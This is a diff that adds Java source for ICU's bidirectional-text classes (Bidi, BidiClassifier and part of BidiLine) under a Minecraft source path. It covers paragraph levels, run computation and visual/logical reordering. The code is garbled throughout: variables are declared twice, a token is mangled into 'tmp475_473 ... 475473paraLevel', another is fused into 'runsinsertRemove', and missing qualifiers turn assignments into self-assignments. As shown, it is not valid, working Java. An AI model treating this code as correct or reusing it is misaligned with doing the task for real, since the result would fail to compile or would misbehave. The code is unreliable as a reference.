+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getResultLength()
+  {
+    verifyValidParaOrLine();
+    return resultLength;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public byte getParaLevel()
+  {
+    verifyValidParaOrLine();
+    return paraLevel;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int countParagraphs()
+  {
+    verifyValidParaOrLine();
+    return paraCount;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BidiRun getParagraphByIndex(int paraIndex)
+  {
+    verifyValidParaOrLine();
+    verifyRange(paraIndex, 0, paraCount);
+    
+    Bidi bidi = paraBidi;
+    int paraStart;
+    int paraStart; if (paraIndex == 0) {
+      paraStart = 0;
+    } else {
+      paraStart = paras[(paraIndex - 1)];
+    }
+    BidiRun bidiRun = new BidiRun();
+    start = paraStart;
+    limit = paras[paraIndex];
+    level = GetParaLevelAt(paraStart);
+    return bidiRun;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BidiRun getParagraph(int charIndex)
+  {
+    verifyValidParaOrLine();
+    Bidi bidi = paraBidi;
+    verifyRange(charIndex, 0, length);
+    
+    for (int paraIndex = 0; charIndex >= paras[paraIndex]; paraIndex++) {}
+    
+    return getParagraphByIndex(paraIndex);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getParagraphIndex(int charIndex)
+  {
+    verifyValidParaOrLine();
+    Bidi bidi = paraBidi;
+    verifyRange(charIndex, 0, length);
+    
+    for (int paraIndex = 0; charIndex >= paras[paraIndex]; paraIndex++) {}
+    
+    return paraIndex;
+  }
+  
+
+
+
+
+
+
+
+
+  public void setCustomClassifier(BidiClassifier classifier)
+  {
+    customClassifier = classifier;
+  }
+  
+
+
+
+
+
+
+
+
+  public BidiClassifier getCustomClassifier()
+  {
+    return customClassifier;
+  }
+  
+
+
+
+
+
+
+
+  public int getCustomizedClass(int c)
+  {
+    int dir;
+    
+
+
+
+
+
+
+    if ((customClassifier == null) || ((dir = customClassifier.classify(c)) == 19))
+    {
+      return bdp.getClass(c); }
+    int dir;
+    return dir;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Bidi setLine(int start, int limit)
+  {
+    verifyValidPara();
+    verifyRange(start, 0, limit);
+    verifyRange(limit, 0, length + 1);
+    if (getParagraphIndex(start) != getParagraphIndex(limit - 1))
+    {
+      throw new IllegalArgumentException();
+    }
+    return BidiLine.setLine(this, start, limit);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public byte getLevelAt(int charIndex)
+  {
+    verifyValidParaOrLine();
+    verifyRange(charIndex, 0, length);
+    return BidiLine.getLevelAt(this, charIndex);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public byte[] getLevels()
+  {
+    verifyValidParaOrLine();
+    if (length <= 0) {
+      return new byte[0];
+    }
+    return BidiLine.getLevels(this);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BidiRun getLogicalRun(int logicalPosition)
+  {
+    verifyValidParaOrLine();
+    verifyRange(logicalPosition, 0, length);
+    return BidiLine.getLogicalRun(this, logicalPosition);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int countRuns()
+  {
+    verifyValidParaOrLine();
+    BidiLine.getRuns(this);
+    return runCount;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BidiRun getVisualRun(int runIndex)
+  {
+    verifyValidParaOrLine();
+    BidiLine.getRuns(this);
+    verifyRange(runIndex, 0, runCount);
+    return BidiLine.getVisualRun(this, runIndex);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getVisualIndex(int logicalIndex)
+  {
+    verifyValidParaOrLine();
+    verifyRange(logicalIndex, 0, length);
+    return BidiLine.getVisualIndex(this, logicalIndex);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getLogicalIndex(int visualIndex)
+  {
+    verifyValidParaOrLine();
+    verifyRange(visualIndex, 0, resultLength);
+    
+    if ((insertPoints.size == 0) && (controlCount == 0)) {
+      if (direction == 0) {
+        return visualIndex;
+      }
+      if (direction == 1) {
+        return length - visualIndex - 1;
+      }
+    }
+    BidiLine.getRuns(this);
+    return BidiLine.getLogicalIndex(this, visualIndex);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int[] getLogicalMap()
+  {
+    countRuns();
+    if (length <= 0) {
+      return new int[0];
+    }
+    return BidiLine.getLogicalMap(this);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int[] getVisualMap()
+  {
+    countRuns();
+    if (resultLength <= 0) {
+      return new int[0];
+    }
+    return BidiLine.getVisualMap(this);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int[] reorderLogical(byte[] levels)
+  {
+    return BidiLine.reorderLogical(levels);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int[] reorderVisual(byte[] levels)
+  {
+    return BidiLine.reorderVisual(levels);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int[] invertMap(int[] srcMap)
+  {
+    if (srcMap == null) {
+      return null;
+    }
+    return BidiLine.invertMap(srcMap);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Bidi(String paragraph, int flags)
+  {
+    this(paragraph.toCharArray(), 0, null, 0, paragraph.length(), flags);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Bidi(AttributedCharacterIterator paragraph)
+  {
+    this();
+    setPara(paragraph);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Bidi(char[] text, int textStart, byte[] embeddings, int embStart, int paragraphLength, int flags)
+  {
+    this();
+    byte paraLvl;
+    switch (flags) {
+    case 0: 
+    default: 
+      paraLvl = 0;
+      break;
+    case 1: 
+      paraLvl = 1;
+      break;
+    case 126: 
+      paraLvl = 126;
+      break;
+    case 127: 
+      paraLvl = Byte.MAX_VALUE;
+    }
+    byte[] paraEmbeddings;
+    byte[] paraEmbeddings;
+    if (embeddings == null) {
+      paraEmbeddings = null;
+    } else {
+      paraEmbeddings = new byte[paragraphLength];
+      
+      for (int i = 0; i < paragraphLength; i++) {
+        byte lev = embeddings[(i + embStart)];
+        if (lev < 0) {
+          lev = (byte)(-lev | 0xFFFFFF80);
+        } else if (lev == 0) {
+          lev = paraLvl;
+          if (paraLvl > 61) {
+            lev = (byte)(lev & 0x1);
+          }
+        }
+        paraEmbeddings[i] = lev;
+      }
+    }
+    if ((textStart == 0) && (embStart == 0) && (paragraphLength == text.length)) {
+      setPara(text, paraLvl, paraEmbeddings);
+    } else {
+      char[] paraText = new char[paragraphLength];
+      System.arraycopy(text, textStart, paraText, 0, paragraphLength);
+      setPara(paraText, paraLvl, paraEmbeddings);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Bidi createLineBidi(int lineStart, int lineLimit)
+  {
+    return setLine(lineStart, lineLimit);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public boolean isMixed()
+  {
+    return (!isLeftToRight()) && (!isRightToLeft());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public boolean isLeftToRight()
+  {
+    return (getDirection() == 0) && ((paraLevel & 0x1) == 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public boolean isRightToLeft()
+  {
+    return (getDirection() == 1) && ((paraLevel & 0x1) == 1);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public boolean baseIsLeftToRight()
+  {
+    return getParaLevel() == 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public int getBaseLevel()
+  {
+    return getParaLevel();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public int getRunCount()
+  {
+    return countRuns();
+  }
+  
+
+
+
+  void getLogicalToVisualRunsMap()
+  {
+    if (isGoodLogicalToVisualRunsMap) {
+      return;
+    }
+    int count = countRuns();
+    if ((logicalToVisualRunsMap == null) || (logicalToVisualRunsMap.length < count))
+    {
+      logicalToVisualRunsMap = new int[count];
+    }
+    
+    long[] keys = new long[count];
+    for (int i = 0; i < count; i++) {
+      keys[i] = ((runs[i].start << 32) + i);
+    }
+    Arrays.sort(keys);
+    for (i = 0; i < count; i++) {
+      logicalToVisualRunsMap[i] = ((int)(keys[i] & 0xFFFFFFFFFFFFFFFF));
+    }
+    isGoodLogicalToVisualRunsMap = true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getRunLevel(int run)
+  {
+    verifyValidParaOrLine();
+    BidiLine.getRuns(this);
+    verifyRange(run, 0, runCount);
+    getLogicalToVisualRunsMap();
+    return runs[logicalToVisualRunsMap[run]].level;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getRunStart(int run)
+  {
+    verifyValidParaOrLine();
+    BidiLine.getRuns(this);
+    verifyRange(run, 0, runCount);
+    getLogicalToVisualRunsMap();
+    return runs[logicalToVisualRunsMap[run]].start;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getRunLimit(int run)
+  {
+    verifyValidParaOrLine();
+    BidiLine.getRuns(this);
+    verifyRange(run, 0, runCount);
+    getLogicalToVisualRunsMap();
+    int idx = logicalToVisualRunsMap[run];
+    int len = idx == 0 ? runs[idx].limit : runs[idx].limit - runs[(idx - 1)].limit;
+    
+    return runs[idx].start + len;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean requiresBidi(char[] text, int start, int limit)
+  {
+    int RTLMask = 57378;
+    
+
+
+
+
+    for (int i = start; i < limit; i++) {
+      if ((1 << UCharacter.getDirection(text[i]) & 0xE022) != 0) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static void reorderVisually(byte[] levels, int levelStart, Object[] objects, int objectStart, int count)
+  {
+    byte[] reorderLevels = new byte[count];
+    System.arraycopy(levels, levelStart, reorderLevels, 0, count);
+    int[] indexMap = reorderVisual(reorderLevels);
+    Object[] temp = new Object[count];
+    System.arraycopy(objects, objectStart, temp, 0, count);
+    for (int i = 0; i < count; i++) {
+      objects[(objectStart + i)] = temp[indexMap[i]];
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String writeReordered(int options)
+  {
+    verifyValidParaOrLine();
+    if (length == 0)
+    {
+      return "";
+    }
+    
+    return BidiWriter.writeReordered(this, options);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String writeReverse(String src, int options)
+  {
+    if (src == null) {
+      throw new IllegalArgumentException();
+    }
+    
+    if (src.length() > 0) {
+      return BidiWriter.writeReverse(src, options);
+    }
+    
+    return "";
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static byte getBaseDirection(CharSequence paragraph)
+  {
+    if ((paragraph == null) || (paragraph.length() == 0)) {
+      return 3;
+    }
+    
+    int length = paragraph.length();
+    
+
+
+    for (int i = 0; i < length;)
+    {
+      int c = UCharacter.codePointAt(paragraph, i);
+      byte direction = UCharacter.getDirectionality(c);
+      if (direction == 0)
+        return 0;
+      if ((direction == 1) || (direction == 13))
+      {
+        return 1;
+      }
+      
+      i = UCharacter.offsetByCodePoints(paragraph, i, 1);
+    }
+    return 3;
+  }
+  
+  private static class LevState
+  {
+    byte[][] impTab;
+    short[] impAct;
+    int startON;
+    int startL2EN;
+    int lastStrongRTL;
+    short state;
+    byte runLevel;
+    
+    private LevState() {}
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/BidiClassifier.java b/src/minecraft/com/ibm/icu/text/BidiClassifier.java
new file mode 100644
index 0000000..34bde17
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/BidiClassifier.java
@@ -0,0 +1,96 @@
+package com.ibm.icu.text;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class BidiClassifier
+{
+  protected Object context;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BidiClassifier(Object context)
+  {
+    this.context = context;
+  }
+  
+
+
+
+
+
+
+
+  public void setContext(Object context)
+  {
+    this.context = context;
+  }
+  
+
+
+
+  public Object getContext()
+  {
+    return context;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public int classify(int c)
+  {
+    return 19;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/BidiLine.java b/src/minecraft/com/ibm/icu/text/BidiLine.java
new file mode 100644
index 0000000..69dde03
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/BidiLine.java
@@ -0,0 +1,1400 @@
+package com.ibm.icu.text;
+
+import java.util.Arrays;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class BidiLine
+{
+  BidiLine() {}
+  
+  static void setTrailingWSStart(Bidi bidi)
+  {
+    byte[] dirProps = bidi.dirProps;
+    byte[] levels = bidi.levels;
+    int start = length;
+    byte paraLevel = bidi.paraLevel;
+    
+
+
+
+
+
+
+    if (Bidi.NoContextRTL(dirProps[(start - 1)]) == 7) {
+      trailingWSStart = start;
+      return;
+    }
+    
+
+    while ((start > 0) && ((Bidi.DirPropFlagNC(dirProps[(start - 1)]) & Bidi.MASK_WS) != 0)) {
+      start--;
+    }
+    
+
+    while ((start > 0) && (levels[(start - 1)] == paraLevel)) {
+      start--;
+    }
+    
+    trailingWSStart = start;
+  }
+  
+
+  static Bidi setLine(Bidi paraBidi, int start, int limit)
+  {
+    Bidi lineBidi = new Bidi();
+    
+
+
+
+
+
+
+    int length = lineBidi.length = lineBidi.originalLength = lineBidi.resultLength = limit - start;
+    
+
+    text = new char[length];
+    System.arraycopy(text, start, text, 0, length);
+    paraLevel = paraBidi.GetParaLevelAt(start);
+    paraCount = paraCount;
+    runs = new BidiRun[0];
+    reorderingMode = reorderingMode;
+    reorderingOptions = reorderingOptions;
+    if (controlCount > 0)
+    {
+      for (int j = start; j < limit; j++) {
+        if (Bidi.IsBidiControlChar(text[j])) {
+          controlCount += 1;
+        }
+      }
+      resultLength -= controlCount;
+    }
+    
+    lineBidi.getDirPropsMemory(length);
+    dirProps = dirPropsMemory;
+    System.arraycopy(dirProps, start, dirProps, 0, length);
+    
+
+    lineBidi.getLevelsMemory(length);
+    levels = levelsMemory;
+    System.arraycopy(paraBidi.levels, start, levels, 0, length);
+    
+    runCount = -1;
+    
+    if (direction != 2)
+    {
+      direction = direction;
+      
+
+
+
+
+
+      if (paraBidi.trailingWSStart <= start) {
+        trailingWSStart = 0;
+      } else if (paraBidi.trailingWSStart < limit) {
+        paraBidi.trailingWSStart -= start;
+      } else {
+        trailingWSStart = length;
+      }
+    } else {
+      byte[] levels = levels;
+      
+
+
+      setTrailingWSStart(lineBidi);
+      int trailingWSStart = trailingWSStart;
+      
+
+      if (trailingWSStart == 0)
+      {
+        direction = ((byte)(paraLevel & 0x1));
+      }
+      else {
+        byte level = (byte)(levels[0] & 0x1);
+        
+
+
+        if ((trailingWSStart < length) && ((paraLevel & 0x1) != level))
+        {
+
+
+          direction = 2;
+        }
+        else
+        {
+          for (int i = 1;; i++) {
+            if (i == trailingWSStart)
+            {
+              direction = level;
+              break; }
+            if ((levels[i] & 0x1) != level) {
+              direction = 2;
+              break;
+            }
+          }
+        }
+      }
+      
+      switch (direction)
+      {
+      case 0: 
+        paraLevel = ((byte)(paraLevel + 1 & 0xFFFFFFFE));
+        
+
+
+
+        trailingWSStart = 0;
+        break;
+      
+      case 1: 
+        Bidi tmp475_473 = lineBidi;475473paraLevel = ((byte)(475473paraLevel | 0x1));
+        
+
+
+        trailingWSStart = 0;
+        break;
+      }
+      
+    }
+    
+    paraBidi = paraBidi;
+    return lineBidi;
+  }
+  
+
+  static byte getLevelAt(Bidi bidi, int charIndex)
+  {
+    if ((direction != 2) || (charIndex >= trailingWSStart)) {
+      return bidi.GetParaLevelAt(charIndex);
+    }
+    return levels[charIndex];
+  }
+  
+
+  static byte[] getLevels(Bidi bidi)
+  {
+    int start = trailingWSStart;
+    int length = bidi.length;
+    
+    if (start != length)
+    {
+
+
+
+
+
+
+
+
+
+      Arrays.fill(bidi.levels, start, length, paraLevel);
+      
+
+      trailingWSStart = length;
+    }
+    if (length < bidi.levels.length) {
+      byte[] levels = new byte[length];
+      System.arraycopy(bidi.levels, 0, levels, 0, length);
+      return levels;
+    }
+    return bidi.levels;
+  }
+  
+
+
+
+  static BidiRun getLogicalRun(Bidi bidi, int logicalPosition)
+  {
+    BidiRun newRun = new BidiRun();
+    getRuns(bidi);
+    int runCount = bidi.runCount;
+    int visualStart = 0;int logicalLimit = 0;
+    BidiRun iRun = runs[0];
+    
+    for (int i = 0; i < runCount; i++) {
+      iRun = runs[i];
+      logicalLimit = start + limit - visualStart;
+      if ((logicalPosition >= start) && (logicalPosition < logicalLimit)) {
+        break;
+      }
+      
+      visualStart = limit;
+    }
+    start = start;
+    limit = logicalLimit;
+    level = level;
+    return newRun;
+  }
+  
+  static BidiRun getVisualRun(Bidi bidi, int runIndex)
+  {
+    int start = runs[runIndex].start;
+    
+    byte level = runs[runIndex].level;
+    int limit;
+    int limit; if (runIndex > 0) {
+      limit = start + runs[runIndex].limit - runs[(runIndex - 1)].limit;
+    }
+    else
+    {
+      limit = start + runs[0].limit;
+    }
+    return new BidiRun(start, limit, level);
+  }
+  
+
+  static void getSingleRun(Bidi bidi, byte level)
+  {
+    runs = simpleRuns;
+    runCount = 1;
+    
+
+    runs[0] = new BidiRun(0, length, level);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static void reorderLine(Bidi bidi, byte minLevel, byte maxLevel)
+  {
+    if (maxLevel <= (minLevel | 0x1)) {
+      return;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    minLevel = (byte)(minLevel + 1);
+    
+    BidiRun[] runs = bidi.runs;
+    byte[] levels = bidi.levels;
+    int runCount = bidi.runCount;
+    
+
+    if (trailingWSStart < length) {
+      runCount--;
+    }
+    
+    maxLevel = (byte)(maxLevel - 1); if (maxLevel >= minLevel) {
+      int firstRun = 0;
+      
+
+
+      for (;;)
+      {
+        if ((firstRun < runCount) && (levels[start] < maxLevel)) {
+          firstRun++;
+        } else {
+          if (firstRun >= runCount) {
+            break;
+          }
+          
+
+          int limitRun = firstRun;
+          do { limitRun++; } while ((limitRun < runCount) && (levels[start] >= maxLevel));
+          
+
+          int endRun = limitRun - 1;
+          while (firstRun < endRun) {
+            BidiRun tempRun = runs[firstRun];
+            runs[firstRun] = runs[endRun];
+            runs[endRun] = tempRun;
+            firstRun++;
+            endRun--;
+          }
+          
+          if (limitRun == runCount) {
+            break;
+          }
+          firstRun = limitRun + 1;
+        }
+      }
+    }
+    
+
+    if ((minLevel & 0x1) == 0) {
+      int firstRun = 0;
+      
+
+      if (trailingWSStart == length) {
+        runCount--;
+      }
+      
+
+      while (firstRun < runCount) {
+        BidiRun tempRun = runs[firstRun];
+        runs[firstRun] = runs[runCount];
+        runs[runCount] = tempRun;
+        firstRun++;
+        runCount--;
+      }
+    }
+  }
+  
+
+  static int getRunFromLogicalIndex(Bidi bidi, int logicalIndex)
+  {
+    BidiRun[] runs = bidi.runs;
+    int runCount = bidi.runCount;int visualStart = 0;
+    
+    for (int i = 0; i < runCount; i++) {
+      int length = limit - visualStart;
+      int logicalStart = start;
+      if ((logicalIndex >= logicalStart) && (logicalIndex < logicalStart + length)) {
+        return i;
+      }
+      visualStart += length;
+    }
+    
+
+    throw new IllegalStateException("Internal ICU error in getRunFromLogicalIndex");
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static void getRuns(Bidi bidi)
+  {
+    if (bidi.runCount >= 0) {
+      return;
+    }
+    if (direction != 2)
+    {
+
+      getSingleRun(bidi, paraLevel);
+    }
+    else {
+      int length = bidi.length;
+      byte[] levels = bidi.levels;
+      
+      byte level = 126;
+      
+
+
+
+
+
+
+
+
+
+
+      int limit = trailingWSStart;
+      
+      int runCount = 0;
+      for (int i = 0; i < limit; i++)
+      {
+        if (levels[i] != level) {
+          runCount++;
+          level = levels[i];
+        }
+      }
+      
+
+
+
+
+      if ((runCount == 1) && (limit == length))
+      {
+        getSingleRun(bidi, levels[0]);
+
+      }
+      else
+      {
+        byte minLevel = 62;
+        byte maxLevel = 0;
+        
+
+        if (limit < length) {
+          runCount++;
+        }
+        
+
+        bidi.getRunsMemory(runCount);
+        BidiRun[] runs = runsMemory;
+        
+
+
+
+
+
+
+        int runIndex = 0;
+        
+
+        i = 0;
+        do
+        {
+          int start = i;
+          level = levels[i];
+          if (level < minLevel) {
+            minLevel = level;
+          }
+          if (level > maxLevel) {
+            maxLevel = level;
+          }
+          do
+          {
+            i++; } while ((i < limit) && (levels[i] == level));
+          
+
+          runs[runIndex] = new BidiRun(start, i - start, level);
+          runIndex++;
+        } while (i < limit);
+        
+        if (limit < length)
+        {
+          runs[runIndex] = new BidiRun(limit, length - limit, paraLevel);
+          
+
+          if (paraLevel < minLevel) {
+            minLevel = paraLevel;
+          }
+        }
+        
+
+        bidi.runs = runs;
+        bidi.runCount = runCount;
+        
+        reorderLine(bidi, minLevel, maxLevel);
+        
+
+
+        limit = 0;
+        for (i = 0; i < runCount; i++) {
+          level = levels[start];
+          limit = runs[i].limit += limit;
+        }
+        
+
+
+
+
+        if (runIndex < runCount) {
+          int trailingRun = (paraLevel & 0x1) != 0 ? 0 : runIndex;
+          level = paraLevel;
+        }
+      }
+    }
+    
+
+    if (insertPoints.size > 0)
+    {
+
+      for (int ip = 0; ip < insertPoints.size; ip++) {
+        Bidi.Point point = insertPoints.points[ip];
+        int runIndex = getRunFromLogicalIndex(bidi, pos);
+        runsinsertRemove |= flag;
+      }
+    }
+    
+
+    if (controlCount > 0)
+    {
+
+      for (int ic = 0; ic < bidi.length; ic++) {
+        char c = text[ic];
+        if (Bidi.IsBidiControlChar(c)) {
+          int runIndex = getRunFromLogicalIndex(bidi, ic);
+          runsinsertRemove -= 1;
+        }
+      }
+    }
+  }
+  
+
+
+
+  static int[] prepareReorder(byte[] levels, byte[] pMinLevel, byte[] pMaxLevel)
+  {
+    if ((levels == null) || (levels.length <= 0)) {
+      return null;
+    }
+    
+
+    byte minLevel = 62;
+    byte maxLevel = 0;
+    for (int start = levels.length; start > 0;) {
+      byte level = levels[(--start)];
+      if (level > 62) {
+        return null;
+      }
+      if (level < minLevel) {
+        minLevel = level;
+      }
+      if (level > maxLevel) {
+        maxLevel = level;
+      }
+    }
+    pMinLevel[0] = minLevel;
+    pMaxLevel[0] = maxLevel;
+    
+
+    int[] indexMap = new int[levels.length];
+    for (start = levels.length; start > 0;) {
+      start--;
+      indexMap[start] = start;
+    }
+    
+    return indexMap;
+  }
+  
+  static int[] reorderLogical(byte[] levels)
+  {
+    byte[] aMinLevel = new byte[1];
+    byte[] aMaxLevel = new byte[1];
+    
+
+    int[] indexMap = prepareReorder(levels, aMinLevel, aMaxLevel);
+    if (indexMap == null) {
+      return null;
+    }
+    
+    byte minLevel = aMinLevel[0];
+    byte maxLevel = aMaxLevel[0];
+    
+
+    if ((minLevel == maxLevel) && ((minLevel & 0x1) == 0)) {
+      return indexMap;
+    }
+    
+
+    minLevel = (byte)(minLevel | 0x1);
+    
+    do
+    {
+      int start = 0;
+      
+
+
+      for (;;)
+      {
+        if ((start < levels.length) && (levels[start] < maxLevel)) {
+          start++;
+        } else {
+          if (start >= levels.length) {
+            break;
+          }
+          
+
+          int limit = start; do { limit++; } while ((limit < levels.length) && (levels[limit] >= maxLevel));
+          
+
+
+
+
+
+
+
+
+
+
+
+          int sumOfSosEos = start + limit - 1;
+          
+          do
+          {
+            indexMap[start] = (sumOfSosEos - indexMap[start]);
+            start++; } while (start < limit);
+          
+
+          if (limit == levels.length) {
+            break;
+          }
+          start = limit + 1;
+        }
+      }
+      maxLevel = (byte)(maxLevel - 1); } while (maxLevel >= minLevel);
+    return indexMap;
+  }
+  
+  static int[] reorderVisual(byte[] levels)
+  {
+    byte[] aMinLevel = new byte[1];
+    byte[] aMaxLevel = new byte[1];
+    
+
+
+    int[] indexMap = prepareReorder(levels, aMinLevel, aMaxLevel);
+    if (indexMap == null) {
+      return null;
+    }
+    
+    byte minLevel = aMinLevel[0];
+    byte maxLevel = aMaxLevel[0];
+    
+
+    if ((minLevel == maxLevel) && ((minLevel & 0x1) == 0)) {
+      return indexMap;
+    }
+    
+
+    minLevel = (byte)(minLevel | 0x1);
+    
+    do
+    {
+      int start = 0;
+      
+
+
+      for (;;)
+      {
+        if ((start < levels.length) && (levels[start] < maxLevel)) {
+          start++;
+        } else {
+          if (start >= levels.length) {
+            break;
+          }
+          
+
+          int limit = start; do { limit++; } while ((limit < levels.length) && (levels[limit] >= maxLevel));
+          
+
+
+
+
+
+
+          int end = limit - 1;
+          while (start < end) {
+            int temp = indexMap[start];
+            indexMap[start] = indexMap[end];
+            indexMap[end] = temp;
+            
+            start++;
+            end--;
+          }
+          
+          if (limit == levels.length) {
+            break;
+          }
+          start = limit + 1;
+        }
+      }
+      maxLevel = (byte)(maxLevel - 1); } while (maxLevel >= minLevel);
+    
+    return indexMap;
+  }
+  
+  static int getVisualIndex(Bidi bidi, int logicalIndex)
+  {
+    int visualIndex = -1;
+    
+
+    switch (direction) {
+    case 0: 
+      visualIndex = logicalIndex;
+      break;
+    case 1: 
+      visualIndex = bidi.length - logicalIndex - 1;
+      break;
+    default: 
+      getRuns(bidi);
+      BidiRun[] runs = bidi.runs;
+      int visualStart = 0;
+      
+
+      for (int i = 0; i < runCount; i++) {
+        int length = limit - visualStart;
+        int offset = logicalIndex - start;
+        if ((offset >= 0) && (offset < length)) {
+          if (runs[i].isEvenRun())
+          {
+            visualIndex = visualStart + offset; break;
+          }
+          
+          visualIndex = visualStart + length - offset - 1;
+          
+          break;
+        }
+        visualStart += length;
+      }
+      if (i >= runCount) {
+        return -1;
+      }
+      break;
+    }
+    if (insertPoints.size > 0)
+    {
+      BidiRun[] runs = bidi.runs;
+      
+      int visualStart = 0;int markFound = 0;
+      int length; for (int i = 0;; visualStart += length) {
+        length = limit - visualStart;
+        int insertRemove = insertRemove;
+        if ((insertRemove & 0x5) > 0) {
+          markFound++;
+        }
+        
+        if (visualIndex < limit) {
+          return visualIndex + markFound;
+        }
+        if ((insertRemove & 0xA) > 0) {
+          markFound++;
+        }
+        i++;
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+    if (controlCount > 0)
+    {
+      BidiRun[] runs = bidi.runs;
+      
+      int visualStart = 0;int controlFound = 0;
+      char uchar = text[logicalIndex];
+      
+      if (Bidi.IsBidiControlChar(uchar)) {
+        return -1;
+      }
+      int length;
+      for (int i = 0;; visualStart += length) {
+        length = limit - visualStart;
+        int insertRemove = insertRemove;
+        
+        if (visualIndex >= limit) {
+          controlFound -= insertRemove;
+        }
+        else
+        {
+          if (insertRemove == 0)
+            return visualIndex - controlFound;
+          int limit;
+          int start; int limit; if (runs[i].isEvenRun())
+          {
+            int start = start;
+            limit = logicalIndex;
+          }
+          else {
+            start = logicalIndex + 1;
+            limit = start + length;
+          }
+          for (int j = start; j < limit; j++) {
+            uchar = text[j];
+            if (Bidi.IsBidiControlChar(uchar)) {
+              controlFound++;
+            }
+          }
+          return visualIndex - controlFound;
+        }
+        i++;
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    return visualIndex;
+  }
+  
+
+
+
+  static int getLogicalIndex(Bidi bidi, int visualIndex)
+  {
+    BidiRun[] runs = bidi.runs;
+    int runCount = bidi.runCount;
+    if (insertPoints.size > 0)
+    {
+      int markFound = 0;
